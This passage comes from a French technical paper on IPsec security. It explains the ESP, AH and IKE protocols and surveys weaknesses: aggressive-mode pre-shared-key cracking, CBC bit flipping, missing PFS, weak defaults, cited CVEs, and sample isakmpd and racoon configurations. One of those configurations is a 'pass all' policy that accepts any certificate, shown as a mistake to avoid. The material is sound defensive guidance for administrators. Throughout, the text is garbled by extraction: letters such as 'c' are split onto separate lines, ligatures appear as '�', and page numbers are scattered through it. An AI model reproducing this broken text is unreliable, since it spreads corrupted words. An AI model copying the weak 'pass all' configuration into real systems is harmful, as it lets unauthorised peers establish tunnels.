lassiques (
omme MD5 ou SHA1, 
ette liste est également

extensible). Nous verrons par la suite que 
ette véri�
ation d'intégrité peut 
ouvrir une partie

variable des données transitées.

1

Virtual Private Networks, soit Réseaux Privés Virtuels

2

Cipher Blo
k Chaining mode, [CBC℄.



404

Authenti�
ation La fon
tionnalité la moins �agrante d'IPSe
, et pourtant indispensable à un

bon niveau de sé
urité, est la validation de l'identité du 
orrespondant.

Cela permet de s'assurer que le tunnel IPSe
 est bien établi ave
 le 
orrespondant légitime.

1.2 Fon
tionnement d'IPSe


IPse
 se dé
ompose en plusieurs phases.

La première 
onsiste à disposer d'une paire

3

d'IPSe
 SA (Se
urity Asso
iation, un élément qui


ontient les informations né
essaires pour 
hi�rer et/ou hasher les données), soit de façon statique,

soit en les négo
iant à l'aide du proto
ole IKE (Internet Key Ex
hange, dé
rit se
tion 1.6).

Une fois 
ette SA disponible pour 
haque 
orrespondant (et identi�ée de façon unique par un

numéro, appelé SPI), le tra�
 e�e
tif est 
hi�ré et/ou hashé via les informations de la SA, puis

en
apsulé dans un proto
ole dédié.

Le 
orrespondant peut alors pro
éder aux opérations inverses lors de la ré
eption du paquet

en
apsulé (la SA est retrouvée gra
e au SPI, seule information en 
lair dans les paquets).

Mode tunnel et mode transport Les deux modes de fon
tionnement d'IPSe
 utilisent sensi-

blement les mêmes mé
aniques et algorithmes. La di�éren
e essentielle est le niveau d'en
apsulation.

Le mode Transport permet d'en
apsuler la donnée d'un paquet IP, et d'ajouter un en-tête

intermédiaire qui protège 
ette donnée. L'en-tête IP du paquet est don
 in
hangé :

Avant en
apsulation : | IP | Payload |

Après en
apsulation : | IP | IPSe
 header | Payload |

Ce mode permet d'en
apsuler du tra�
 entre deux ma
hines pouvant déjà 
ommuniquer ensemble,

tout en réduisant le sur
oût de l'en
apsulation IPSe
. Le mode Transport ne peut ainsi être utilisé

que dans des 
on�gurations ou 
haque extrémité de tra�
 est également l'extrémité de tunnel.

Le mode Tunnel en
apsule l'intégralité du paquet IP dans un nouveau paquet :

Avant en
apsulation : | IP | Payload |

Après en
apsulation : | New IP | IPSe
 header | IP | Payload |

Ce mode d'en
apsulation génère un sur
oût d'en
apsulation plus important, mais permet par

exemple l'inter
onnexion de deux réseaux ne pouvant pas dire
tement 
ommuniquer ensemble si


ha
un dispose d'une passerelle, et si 
es deux passerelles peuvent 
ommuniquer ensemble. Ce mode

est typiquement utilisé dans des 
on�gurations � Host to Net � ou � Net to Net � et, en général,

dans des 
on�gurations dont une des extrémités de tra�
 n'est pas l'extrémité de tunnel.

Il permet par exemple de relier des réseaux non routables [RFC1918℄ par l'intermédiaire de

passerelles IPSe
 disposant d'une adresse IP routable.

3

Les IPSe
 SAs sont unidire
tionnelles, et sont don
 généralement utilisées par paires, une pour le tra�


entrant, une pour le tra�
 sortant
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1.3 Proto
oles d'en
apsulation

IPSe
 est prévu pour en
apsuler des paquets IP (ou supérieur) dans des paquets IP. Pour 
ela,

deux proto
oles d'en
apsulation distin
ts sont disponibles, répondant à des 
ontraintes di�érentes.

ESP ESP (RFC2406) permet d'en
apsuler une donnée de façon 
hi�rée, et optionnellement hashée.

Il fournit ainsi la 
on�dentialité des données, et optionnellement leur intégrité. Seul le SPI de la SA

utilisée est dire
tement lisible dans l'en-tête ESP.

Transport :

Données 
hiffrées

<--------->

| IP | ESP | Payload |

<--------------->

Données hashées

Tunnel :

Données 
hiffrées

<-------------->

| New IP | ESP | IP | Payload |

<-------------------->

Données hashées

ESP est généralement utilisé en mode Tunnel, mais peut aussi être utilisé en mode transport, par

exemple pour 
hi�rer un tra�
 pré
is entre deux 
orrespondants.

AH Le proto
ole AH (RFC 2402) ne fournit qu'un hash de validation d'intégrité, mais pas de


hi�rement. Cependant, à la di�éren
e d'ESP, le hash 
ouvre l'ensemble du paquet IP.

Transport :

Données hashées

<------------------->

| IP | AH | Payload |

Tunnel :

Données hashées

<----------------------------->

| New IP | ESP | IP | Payload |

AH est utilisé presque ex
lusivement en mode Transport.

1.4 ESP+AH

Dans 
ertains 
as parti
uliers, il peut être né
essaire de 
hi�rer les données ET d'assurer l'in-

tégrité de l'ensemble du paquet, y 
ompris l'en-tête IP. On utilise alors une double en
apsulation



406

ESP+AH

4

. Ce 
as de �gure est 
ependant très peu utilisé.

1.5 En
apsulation NAT-T UDP

Les proto
oles ESP et AH posant de gros problèmes pour passer au travers des équipements

faisant du NAT (à 
ause de l'absen
e de notion de ports sour
e/destination, et de par l'impossibilité

d'asso
ier tra�
 sortant et tra�
 entrant), une extension IPSe
 (Nat-Traversal, RFC 3947 et RFC

3948) propose d'en
apsuler l'ESP ou l'AH dans un paquet UDP, plus fa
ile à faire transiter au

travers d'équipements de NAT.

1.6 Négo
iation de 
lés : IKE

Déployer manuellement des SAs statiques sur des équipements est une opération fastidieuse,

di�
ile à maintenir, pour un résultat �nalement peu sûr (voir se
tion 3.1). Une partie d'IPSe


permet don
 la négo
iation dynamique de SAs : IKE (Internet Key Ex
hange, RFC 2409, qui est

une implémentation d'ISAKMP, RFC 2408), qui se dé
ompose en plusieurs parties.

IKE phase 1 La première partie d'un é
hange IKE permet aux 
orrespondants de s'authenti�er

mutuellement, de négo
ier un ensemble de paramètres (algorithmes de 
hi�rement, d'authenti�
a-

tion, durée de vie, 
lés de session, et
...) d'une

5

SA spé
iale : la IsakmpSA. Cette SA sera alors

utilisée pour protéger toutes les 
ommuni
ations ultérieures entre les deux 
orrespondantes IKE.

Cette phase peut être e�e
tuée selon deux modes di�érents : le mode � prin
ipal �, également

appelé � identity prote
tion mode �, et le mode � aggressif �, plus rapide en nombre de paquets,

mais dans lequel plus d'informations transitent sans être 
hi�rées.

L'authenti�
ation mutuelle des 
orrespondants peut être e�e
tuée prin
ipalement de deux fa-

çons : par un se
ret pré-partagé, ou par 
erti�
ats X509.

Durant 
et é
hange, au
un se
ret ne transite sur le réseau, les 
lés de sessions 
ommunes sont

générées par 
haque 
orrespondant à l'aide de groupes Di�e-Hellman[DH76℄.

XAuth XAuth (draft-beaulieu-ike-xauth-02) est une extension IKE permettant un niveau d'au-

thenti�
ation supplémentaire entre la phase 1 et la phase 2. XAuth est généralement utilisé pour

e�e
tuer des authenti�
ations sur une base RADIUS ou pour utiliser des mots de passes jetables.

Les é
hanges XAuth sont protégés par la IsakmpSA.

IKE phase 2 Lorsque les 
orrespondants IKE disposent d'une IsakmpSA pour pouvoir protéger

leurs 
ommuni
ations, ils peuvent alors établir une ou plusieurs IPSe
 SAs via des négo
iation de

phase2, également appelée � qui
k mode �. Comme pour la IsakmpSA, plusieurs paramètres sont

négo
iés par les 
orrespondants, 
omme les algorithmes de 
hi�rement et de hash, la durée de vie

de la SA, et
...

4

Généralement une en
apsulation en mode tunnel et une en mode transport. On appelle parfois 
ette


ombinaison Tunnel/Transport � Nested mode �.

5

Contrairement aux IPSe
 SAs, la IsakmpSA est bidire
tionnelle
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IKE Informational ex
hanges Dans 
ertains 
as, un des 
orrespondants peut avoir à informer

l'autre de 
ertains évènements (DELETE-SA), ou simplement véri�er sa présen
e (Dead Peer De-

te
tion). Il utilisera alors un message de type � Informational �, qui est protégé par la IsakmpSA

de la même façon que les phases 2.

IKE V2 Une nouvelle version du proto
ole IKE, IKE V2, a ré
emment été normalisée par l'IETF

(RFC 4306). Parmi de nombreuses modi�
ations plus ou moins signi�
atives, il est i
i important de

signaler en parti
ulier la disparition des deux modes de phase1 au pro�t d'un seul nouveau mode

en 4 é
hanges (au moins).

Ce nouveau fon
tionnement garantit une négo
iation toujours à l'avantage du répondeur, et

permet en parti
ulier de se protéger de dénis de servi
es par 
onsommation de puissan
e de 
al
ul,

puisque l'initiateur devra systématiquement e�e
tuer en premier tout 
al
ul 
ryptographique lourd.

2 Classi�
ation des faiblesses

Nous allons par la suite étudier plusieurs types de faiblesses relatives à IPSe
. Il est important

de garder à l'esprit les di�érentes 
atégories de faiblesses possibles, leur impa
t potentiel, leur degré

de dangerosité, et d'en déduire un risque réel représenté, en fon
tion du 
ontexte.

2.1 Dénis de servi
es

La faiblesse la plus 
ourante ren
ontrée lors de déploiements de 
on�gurations IPSe
 est un

� simple � déni de servi
e (DOS). Si le niveau de dangerosité dire
t de 
es dénis de servi
es est très

modéré (au
une fuite et au
une 
orruption d'informations), le 
ontexte de déploiement peut parfois

rendre 
e DOS très génant, par exemple s'il bloque le transit de données importantes (données

ban
aires, opérations �nan
ières, et
....).

2.2 Corruption de données

Le se
ond niveau de dangerosité est le risque de modi�
ations de données sur le 
hemin sans

déte
tion par le destinataire du paquet IPSe
.

Les modi�
ations à l'aveugle restent un risque assez faible. En e�et, les paquets seront pro-

bablement déte
tés 
omme étant invalides, soit au niveau IP, soit au niveau appli
atif. le risque

maximum est don
 un déni de servi
e au niveau appli
atif, si le programme 
on
erné n'e�e
tue pas

assez de véri�
ations des données qu'il traite.

La possibilité de modi�er 
ertaines données de façon pré
ise est un risque beau
oup plus impor-

tant, puisqu'il permet de 
hanger une information pré
ise et 
iblée. Cela né
essite 
ependant d'être


apable de prévoir la donnée d'origine, pour pouvoir la modi�er sans avoir pu dé
hi�rer le paquet

IPSe
.
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2.3 Inter
eption de données

La possibilité de pouvoir lire des données 
hi�rées est l'un des risques les plus importants à


onsidérer, mais doit être 
onsidéré en fon
tion du 
ontexte.

S'il est impossible de garantir la 
on�dentialité des données sur durée importante (de l'ordre de

plusieurs années), 
e risque reste généralement peu important.

La plupart des données n'ont en e�et qu'une durée d'intérêt assez limitée dans le temps, de

l'ordre de la se
onde (voire moins) pour les données 
ourantes (le seul intérêt de dé
hi�rer 
es

données est de pouvoir les modi�er à la volée), à une durée de vie de l'ordre de quelques jours pour

des données � modérément sensibles �.

Cependant, 
ertaines données peuvent avoir une durée de validité (don
 une durée de 
on�den-

tialité né
essaire) nettement plus importante. On peut par exemple 
iter des données ban
aires, des

données sur une so
iété, ou tout autre donnée qui peut être exploitable à postériori sur une durée

importante.

Il existe également des données en
ore plus déli
ates à traiter, 
omme par exemple les données

médi
ales

6

, lorsque la durée de 
on�dentialité né
essaire pour 
es données dépasse largement les

durées de � solidité � de tous les algorithmes symétriques 
onnus et utilisés à 
e jour.

Il est don
 important, pour évaluer le risque réel d'une inter
eption de données, de tenir 
ompte

de la durée de vie de la donnée, et de la 
omparer au temps né
essaire à l'attaque.

2.4 A

ès non autorisés

Le dernier risque prin
ipal est la possibilité d'a

éder à des ressour
es sans y être autorisé par

la politique de sé
urité.

I
i en
ore, il faut tenir 
ompte du 
ontexte, des prérequis à l'attaque, et 
omparer en parti
ulier

la durée de l'attaque et la durée d'intérêt de l'a

ès.

3 Faiblesses des proto
oles

La suite de proto
oles IPSe
 a été 
onçue pour répondre à de forts 
ritères de sé
urités. Cepen-

dant, plusieurs faiblesses intrinsèques de 
ertains de ses proto
oles existent, indépendemment des

implémentations et 
on�gurations.

Ces problèmes sont souvent les plus mé
onnus, alors qu'il s'agit des seuls qui sont absolument

impossibles à 
orriger.

6

En Fran
e, la législation impose de garantir une 
on�dentialité d'au moins 30 ans pour les données

médi
ales
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3.1 IPSe
 statique

Outre des problèmes de maintenan
e et d'administration, le fon
tionnement IPSe
 par SAs sta-

tiques pose un problème de sé
urité, puisqu'il permet potentiellement à un attaquant bien pla
é

d'inter
epter assez de tra�
 
hi�ré par la même 
lé pour 
ommen
er des attaques statistiques.

Puisque 
ette 
lé n'est jamais 
hangée, l'attaquant pourra alors non seulement lire à postériori

tout le tra�
 
apturé, mais pourra aussi désormais lire en temps réel (et éventuellement modi�er)

tout nouveau tra�
 protégé par 
ette 
lé.

3.2 Mode aggressif et se
ret pré-partagée

Lors d'une négo
iation de phase1 en mode aggressif, le hash d'authenti�
ation du répondeur

n'est pas 
hi�ré (
ontrairement à une négo
iation en mode prin
ipal).

Il est don
 possible pour un observateur sur le 
hemin (ou pour un attaquant ayant pu inter
ep-

ter ou deviner assez d'éléments pour émettre un premier paquet a

eptable) de ré
upérer 
e hash

et d'en déduire la 
lé par for
e brute, hors 
onnexion, par exemple à l'aide de l'outil [IKECra
k℄.

Cette attaque est dé
rite plus en détails dans [PSKAtta
k℄.

La plupart des implémentations IKE réagissent également di�éremment selon la validité de

l'identi�ant du 
orrespondant (elles ne répondent que si l'identi�ant est 
onnu). Il est don
 possible

d'émettre beau
oup de requêtes ave
 des identi�ants di�érents pour les tester. Si une attaque

exhaustive est di�
ilement envisageable, il est par exemple beau
oup plus réalisable d'e�e
tuer une

préséle
tion d'identi�ants possibles (des adresses mail de 
ollaborateurs de la so
iété, et
...), puis

de tester 
es identi�ants.

3.3 Lien entre les 
lés de sessions

Lors d'une négo
iation de phase 2, les 
lés de sessions générées sont dérivées à partir d'informa-

tions 
onnues. En réussissant à trouver (par une attaque brute 
lassique) une 
lé de session pour

une SA X, il devient don
 plus fa
ile de trouver par la suite la 
lé de la SA X+1 (
'est à dire la SA

générée pour rempla
er la SA X lors de son expiration).

Cela rallonge don
 la durée de pertinen
e d'une 
lé de session, puisque, même après l'expiration

de 
elle-
i, elle peut rester une information intéressante pour a

élerer la re
her
he des 
lés de ses-

sions ultérieures.

La solution à 
e problème est de systématiquement utiliser le PFS

7

, qui garantit que 
haque 
lé

de session est dérivée uniquement d'une nouvelle opération Di�e-Hellman, et est don
 indépendante

des autres 
lés de session.

7

Perfe
t Forward Se
re
y.
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3.4 Permutations de bits ESP

La plupart des algorithmes de 
hi�rement sont utilisés ex
lusivement en mode CBC.

Ce mode est 
onnu pour être vulnérable à une attaque dite par � bit �ipping �, qui permet d'inverser


ertains bits 
hoisis dans la donnée d'origine, sans pour autant avoir besoin de dé
hi�rer le paquet.

Dans le 
adre d'une utilisation de 
es algorithmes pour 
hi�rer les données, il est don
 possible

d'inverser 
ertains bits des données 
hi�rées. Si 
ette possibilité est inexploitable dans la plupart

des 
as (mais permet éventuellement des dénis de servi
es d'appli
ations, en envoyant une donnée


orrompue), des bulletins d'alerte signalent la possibilité de 
hanger l'adresse IP sour
e et/ou des-

tination d'un paquet en
apsulé (en mode Tunnel, don
), et d'espérer obtenir un message ICMP

qui serait réémis en 
lair, et qui permettrait don
 éventuellement d'obtenir une partie de la donnée

(
opiée dans la donnée du message ICMP).

Ce type d'attaque reste 
ependant déli
at à produire : s'il est fa
ile de prédire ou se trouveront

les adresses IP du paquet en
apsulé sans avoir besoin de le dé
hi�rer, il est plus déli
at de prédire

les IPs (don
 de pouvoir générer une IP � avantageuse � pour l'attaquant), et il faut également

que l'implémentation IPSe
 re
evant le paquet ESP soit assez mauvaise pour ne pas 
onfronter le

paquet dé
apsulé à la poli
e de 
hi�rement IPSe
 (et don
 de se rendre 
ompte que le paquet ne

devrait pas sortir du tunnel).

Une solution simple à 
e problème reste de systématiquement a
tiver l'authenti�
ation ESP, 
e

qui permettra de déte
ter une modi�
ation du paquet, et don
 de le rejeter immédiatement.

4 Problèmes d'implémentations

Comme tous programmes, les implémentations IKE sont parfois sujettes à des bugs. Les pro-

blèmes d'interopérabilité, de fon
tionnement et autres sont hors sujet i
i, mais 
ertains problèmes

d'implémentations peuvent être exploités pour 
ompromettre la sé
urité du système.

Si la plupart de 
es problèmes sont 
orrigés par les développeurs, il est important pour tout

utilisateur d'avoir 
ons
ien
e de 
es risques, et don
 de suivre les bulletins d'alerte, pour savoir

éventuellement quand faire des mises à jour de sé
urité, quand mettre en pla
e des solutions de


ontournement pour rendre 
es failles inutilisables, voire si né
essaire quand désa
tiver le servi
e,

si le risque de 
ompromission est trop important.

4.1 Parsing IKE

IKE est dé
rit par un ensemble de 3 RFCs (RFC 2407, RFC 2408, RFC 2409), qui se référen
ent

mutuellement. Ces RFCs séparent un proto
ole générique de négo
iation (ISAKMP) et une instan-


iation de 
e proto
ole (IKE).

Cette séparation implique une lourdeur importante de le
ture des RFCs, ainsi qu'une abstra
tion

inutile : les DOIs (Domains Of Interpretations), puisque seul le IPSe
 DOI est e�e
tivement utilisé.

Toute 
ette 
omplexité 
ontribue à rendre di�
ile une implémentation d'IKE propre, interopérable
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et exempte de bugs.

De plus, la nature des 
hamps IKE (pour la plupart binaires, de taille variable, 
ertains obliga-

toires ou optionnels en fon
tion du 
ontexte) rend leur analyse sujette à des bugs d'implémentations.

De nombreuses vulnérabilités ont été relevées au �l des ans sur la plupart des implémentations

IKE. La dernière série de vulnérabilités a été remontée par la suite de tests [PROTOS℄ en 2005, et

a mis en éviden
e des dénis de servi
es sur la plupart des implémentations (CVE-2005-3671 pour

*SWAN, CVE-2005-3669 pour Cis
o, et
...). la majorité de 
es dénis de servi
es étaient assez simples

à obtenir, puisqu'ils né
essitaient souvent uniquement d'émettre un premier paquet de négo
iation

de phase 1 (dans 
ertains 
as, il n'était même pas né
essaire que les propositions et identi�ants

soient valides) mais disposant d'une malformation spé
i�que (en-tête obligatoire absent, 
hamp de

données plus important qu'annon
é, et
...).

Si la majeure partie de 
es failles se limitent à rendre possible un déni de servi
e (en fon
tion de

la 
on�guration), et si l'exploitation d'un dépassement de tampon pour exé
uter du 
ode à distan
e

est rendue assez 
omplexe par les traitements et par le fait qu'IKE soit basé sur le proto
ole UDP, il

a 
ependant déjà existé par le passé des failles beau
oup plus importantes, telle que [CISCO64424℄,

qui pouvait permettre à un utilisateur non autorisé d'établir un tunnel IPSe
 ave
 la passerelle,

voire qui permettaient de l'exé
ution de 
ode à distan
e sur la passerelle IPSe
 (Che
kpoint : CVE-

2004-0469)

L'impa
t de telles failles est relativement limité quand leur exploitation né
essite un a

ès légi-

time, mais devient 
ritique dès lors qu'elles peuvent être exploitées par une personne ne disposant

pas d'un tel a

ès.

4.2 Validations in
omplètes de 
erti�
ats

La plupart des implémentations IKE ont eu au moins un problème de gestion de 
erti�
ats lors

de la phase1.

Mauvaise gestion des CRLs Lorsqu'une implémentation supporte mal (voire pas du tout) les

validations de 
erti�
ats par rapport aux CRLs

8

, il est alors possible pour un utilisateur révoqué

(qu'il s'agisse d'un attaquant disposant d'un 
erti�
at 
ompromis ou d'un utilisateur légitime révo-

qué pour d'autres raisons) d'avoir un a

ès qui devrait pourtant lui être interdit.

Si l'absen
e totale de support des CRLs est désormais rarissime, 
ertaines implémentations


onsidèrent en
ore qu'un 
erti�
at révoqué ne doit générer qu'un avertissement dans les logs, et

l'a

eptent quand meme pour la négo
iation.

Erreurs de validation de 
erti�
ats Plusieurs problèmes d'implémentation de la validation de


erti�
ats ont engendré des failles dans des implémentations IKE.

8

Certi�
ate Revo
ation List, une liste de 
erti�
ats valides, mais pourtant révoqués.



412

On peut par exemple 
iter des erreurs de validations de la CRL (ra
oon : CAN-2004-0607), qui

permettent d'établir un tunnel ave
 un 
erti�
at révoqué.

Des erreurs de validation du 
erti�
at (*SWAN : CAN-2004-0590, Cis
o : CVE-2002-1106) sont

beau
oup plus importantes, puisqu'elles permettent d'établir un tunnel ave
 un faux 
erti�
at, et

ne né
essitent même pas de 
erti�
at valide révoqué.

4.3 Con�gurations par défaut

Certaines implémentations proposent des valeurs par défaut qui baissent notablement le niveau

de sé
urité des 
on�gurations. Quelques exemples �agrants sont :

Paramètres de négo
iation Les 
on�gurations faibles par défaut 
on
ernent essentiellement les

paramètres de négo
iation, de phase 1 et/ou de phase 2.

Le premier 
as très fréquent est une durée de vie par défaut parti
ulièrement élevée (parfois de

l'ordre de la semaine). De telles durées de vie rendent les 
lés de sessions plus vulnérables à des

attaques statistiques, en fon
tion des algorithmes 
hoisis et des volumes de tra�
.

Le se
ond 
as très fréquent est la liste des algorithmes proposés par défaut, liste dans laquelle

est très souvent in
lus le DES, algorithme pourtant 
onsidéré 
omme � faible � depuis plusieurs

années, et plus sujet aux attaques que la plupart des autres algorithmes, 
omme Blow�sh, AES, ou

meme 3DES.

Outre le fait que 
et algorithme est proposé dans la liste par défaut de 
ertaines implémentations,

il est parfois même listé en premier, 
onstituant ainsi la première proposition que le 
orrespondant

évaluera. Or, de nombreuses implémentations 
hoisissent la première proposition valide qui leur

est faite, et deux implémentations peuvent don
 négo
ier une phase en DES alors qu'elles avaient

toutes les deux d'autres algorithmes plus résistants dans leur 
on�guration.

Le troisième 
as de 
on�guration faible par défaut est l'utilisation d'ESP sans algorithme d'au-

thenti�
ation, qui rend alors les paquets ESP sujets à des attaques par � bit �ipping � (voir 3.4).

La désa
tivation par défaut du PFS est le dernier 
as fréquent de 
on�guration faible par défaut,

et rend les tunnels utilisés longuement sensibles à une attaque des 
lés de sessions (voir 3.3).

Modes d'authenti�
ation faibles Certains modes d'authenti�
ation peuvent s'avérer plus faibles

que d'autres. En parti
ulier, l'utilisation de l'extension XAuth est souvent faite sans une réelle 
om-

préhension de ses mé
anismes de sé
urité.

Le draft d'XAuth stipule bien que toute la sé
urité d'XAuth se repose sur le fait que 
ette partie

de la négo
iation est protégée par la IsakmpSA. Or, en pratique, la plupart des administrateurs


onsidèrent que l'authenti�
ation est réellement faite au niveau d'XAuth, et don
 utilisent une


on�guration de phase 1 simpliste et faible, généralement en utilisant un � group password �, qui

est en fait une 
lé pré-partagée 
ommune à tous les utilisateurs nomades.
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La 
on�guration est don
 doublement a�aiblie, d'abord par l'utilisation du mode aggressif en


lés prépartagées, ensuite par l'utilisation d'un se
ret faible et 
ommun à tous les 
orrespondants.

Contr�les faibles de la négo
iation Certains démons permettent de paramétrer la souplesse de

négo
iation. Par exemple, dans le démon ra
oon d'ipse
-tools, il est possible de spé
i�er la souplesse

de négo
iation parmi les possibilités � exa
t � (rigoureusement la 
on�guration lo
ale), � stri
t �

(propositions d'un niveau supérieur ou égal à la 
on�guration lo
ale), � 
laim � (
omme � stri
t �,

mais tente de négo
ier des durées de vie innapropriées), ou � obey � (a

epte systématiquement la

première proposition du 
orrespondant).

Or, dans les exemples de 
on�guration fournis, toutes les 
on�gurations étaient en � obey � il y

a en
ore quelques mois. Les 
ommentaires � for testing only � n'avaient probablement une grande

e�
a
ité pour in
iter les administrateurs à 
hanger 
ette 
on�guration.

4.4 Problèmes dans les piles IPSe


La gestion des paquets ESP et AH est également sus
eptible de poser des problèmes de fon
-

tionnement et/ou de sé
urité plus ou moins graves.

Validations in
omplètes Lors de la mise en pla
e d'une politique IPSe
, tout paquet doit être


onfronté à 
ette politique.

Les paquets sortants doivent y être 
onfrontés pour savoir s'ils doivent être envoyés au travers

d'un tunnel. Le fait d'en
apsuler un paquet qui ne devrait pas l'être représente un risque modéré :

di�usion d'informations à un 
orrespondant IPSe
 (qui va probablement jeter 
e paquet dès sa

sortie du tunnel), et dysfon
tionnement du servi
e (le paquet émis dans le tunnel n'arrivera pas à

sa destination normale).

Le risque le plus important est don
 l'envoi en 
lair sur le réseau de paquets qui devraient être

envoyés dans un tunnel, 
omme 
'était le 
as pour la faille OpenBSD CVE-1999-0727. Cependant,


e genre de failles est généralement non provo
able par un attaquant, qui ne peut qu'espérer que le

problème se produira � naturellement �.

Le se
ond risque important 
on
erne la ré
eption de paquets depuis un tunnel.

Validation de la politique de sé
urité in
omplète (Linux), qui permet d'envoyer au travers d'un

tunnel IPSe
 un paquet qui ne 
orrespond pas au tra�
 de 
e tunnel.

Failles dans le traitement des paquets La gestion des paquets IPSe
 (ESP, AH et IPComp) est

un pro
essus 
omplexe, qui pose parfois des problèmes d'implémentation. S'il est né
essaire d'être

un 
orrespondant légitime pour pouvoir exploiter 
es bugs, le risque reste limité. Cependant, il

su�t parfois de pouvoir envoyer un paquet vers la passerelle, ou au travers de 
elle 
i pour pouvoir

engendrer des dénis de servi
e.

C'est par exemple le 
as d'un bug de la pile IPSe
 KAME, où un test fait à l'envers faisait un appel



414

à pani


9

lorsqu'elle faisait transiter 
ertains paquets AH spé
ialement 
onstruits.

Dans d'autres 
as, le problème peut être en
ore plus grave, 
omme par exemple la faille OpenBSD

CVE-2001-0284, qui 
onçernait aussi des paquets AH, mais qui permettait 
ette fois une exé
ution

à distan
e de 
ode mali
ieux.

4.5 Con�gurations trop 
omplexes

Outre la 
omplexité intrinsèque d'IPSe
, plusieurs implémentations ont des mé
aniques et syn-

taxes qui rendent la 
ompréhension des 
on�gurations en
ore plus 
omplexe.

Dans 
ertains 
as, 
'est l'apparente simpli
ité qui engendre des problématiques de sé
urité. La


on�guration de VPNs sur Che
kpoint génère automatiquement un réseau � virtuel � 
ontenant

l'ensemble des extrémités de tra�
 
on
ernées par le tunnel. Dans des 
on�gurations ou les plans

d'adressage ne sont pas 
ontigus, le réseau ainsi négo
ié peut être nettement plus large que 
e que

veut l'administrateur.

Dans les 
as de 
on�gurations par �
hiers, les 
on�gurations sont souvent 
omplètes, mais 
om-

plexes à mettre en oeuvre.

OpenBSD : Isakmpd Le �
hier de 
on�guration du démon d'OpenBSD, Isakmpd, est par exemple


onstruit par de nombreuses se
tions détaillant 
ertains éléments de la 
on�guration, et référen
és

entre eux. Une 
on�guration triviale entre deux 
orrespondants né
essitera au minimum une dizaine

de se
tions, plus le remplissage d'un autre �
hier de 
on�guration, isakmpd.poli
y, qui peut fournir

des possibilités de 
on�guration d'a

ès très poussées, mais qui est très di�
ilement 
ompréhensible.

<<<<<<<<<< begin isakmpd.
onf example

[General℄

Retransmits= 5

Ex
hange-max-time= 120

Listen-on= 172.16.1.1

[Phase 1℄

172.17.1.1= lo
al-remote

[lo
al-remote℄

Phase= 1

Transport= udp

Lo
al-address= 172.16.1.1

Address= 172.17.1.1

Configuration= Default-main-mode

Authenti
ation= XXXXX_SHARED_SECRET_GOES_HERE_XXXXX

9

Un pani
 est un appel système spé
ial, qui arrète immédiatement le fon
tionnement du noyau, et se met

dans un mode qui fa
ilite le débuggage des problèmes.
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[Phase 2℄

Conne
tions= VPN-lo
al-remote

[VPN-lo
al-remote℄

Phase= 2

ISAKMP-peer= lo
al-remote

Configuration= Default-qui
k-mode

Lo
al-ID= network-lo
al

Remote-ID= network-remote

[network-lo
al℄

ID-type= IPV4_ADDR_SUBNET

Network= 192.168.1.0

Netmask= 255.255.255.0

[network-remote℄

ID-type= IPV4_ADDR_SUBNET

Network= 10.0.0.0

Netmask= 255.0.0.0

[Default-main-mode℄

DOI= IPSEC

EXCHANGE_TYPE= ID_PROT

Transforms= 3DES-SHA

[Default-qui
k-mode℄

DOI= IPSEC

EXCHANGE_TYPE= QUICK_MODE

Suites= QM-ESP-3DES-SHA-SUITE

>>>>>>>>>> end isakmpd.
onf

<<<<<<<<<< begin isakmpd.poli
y

Keynote-version: 2

Authorizer: "POLICY"

Conditions: app_domain == "IPse
 poli
y" &&

esp_present == "yes" &&

esp_en
_alg != "null" -> "true";

>>>>>>>>>> end isakmpd.poli
y

En pratique, la 
omplexité du isakmpd.poli
y fait que la plupart des administrateurs vont tout

simplement faire une 
on�guration � pass all � :

<<<<<<<<<< begin isakmpd.poli
y

Authorizer: "POLICY"

Comment: Ce filtre a

epte n'importe quel 
ertifi
at

>>>>>>>>>> end isakmpd.poli
y
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KAME / Linux 2.6 La 
on�guration de la pile IPSe
 KAME (fournie ave
 FreeBSD et NetBSD),

identique à 
elle des versions ré
entes de Linux, pose elle aussi ses problèmes de 
ompréhension. La

prin
ipale di�
ulté i
i est l'apparente dé
orrélation entre la poli
e de sé
urité, la 
on�guration des

phases 1 et la 
on�guration des phases 2.

<<<<<<<<<< begin ra
oon.
onf

remote GW_remote

{

# Phase 1

ex
hange_mode main;

lifetime time 3600 se
;

proposal_
he
k stri
t;

proposal{

en
ryption_algorithm aes 128;

hash_algorithm sha1;

dh_group 2;

authenti
ation_method pre_shared_key;

}

}

sainfo address net_lo
al/mask any address net_remote/mask any

{

# Phase 2, SA sortante

lifetime time 3600 se
;

en
ryption_algorithm aes 128, blowfish 128;

authenti
ation_algorithm hma
_sha1, hma
_md5;

pfs_group 2;


ompression_algorithm deflate;

}

sainfo address net_remote/mask any address net_lo
al/mask any

{

# Phase 2, SA entrante

lifetime time 3600 se
;

en
ryption_algorithm aes 128, blowfish 128;

authenti
ation_algorithm hma
_sha1, hma
_md5;

pfs_group 2;


ompression_algorithm deflate;

}

>>>>>>>>>> end ra
oon.
onf

<<<<<<<<<< begin spd

spdadd net_lo
al/mask net_remote/mask any -P out ipse
 \

esp/tunnel/GW_lo
ale-GW_remote/unique;
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spdadd net_remote/mask net_lo
al/mask any -P in ipse
 \

esp/tunnel/GW_remote-GW_lo
ale/unique;

>>>>>>>>>> end spd

4.6 Problèmes de 
ryptographie

La sé
urité d'IPSe
 se base sur de nombreux prin
ipes 
ryptographiques, qu'il est important de

ne pas oublier. En e�et, toute faiblesse de 
on
eption ou d'implémentation d'une de 
es briques


ryptographiques peut a�aiblir la sé
urité des 
on�gurations IPSe
.

Comme exemple de faiblesses de 
e type, on peut 
iter une faille du 
lient VPN CISCO (CVE-

2002-1107), qui générait des aléas faibles (don
 prévisibles). Ces aléas faibles le rendaient sensible

à des attaques de type usurpation d'identité.

4.7 Problèmes annexes

Une pile IPSe
 fon
tionne dans un environnement, et en parti
ulier sur un système d'exploita-

tion, qui fournit souvent d'autres servi
es. Lors d'un déploiement spé
i�que d'IPSe
 sur un système

d'exploitation � 
lassique �, d'autres failles du système ou de ses outils peuvent 
ompromettre l'en-

semble de la passerelle, don
 l'a

ès IPSe
.

De même, sur les postes nomades, il y a parfois des possibilités de ré
upérer des informations

normalement non a

essibles. On peut par exemple 
iter la faille CVE-2002-1105 (CISCO), qui

permet d'obtenir le mot de passe de groupe de la 
on�guration IPSe
 sur le poste 
lient.

5 Problèmes de déploiements

Tout déploiement de tunnels IPSe
, quelle que soit l'implémentation, reste fa
ile à a�aiblir ave


une mauvaise 
on�guration. Il est alors important pour les administrateurs de 
onnaitre tous 
es

pièges 
ourants pour pouvoir aisément les éviter.

5.1 Tunnel sans �ltrage

De nombreux administrateurs 
onsidèrent que l'établissement d'un tunnel IPSe
 (ou d'un tunnel

VPN en général) est un gage de sé
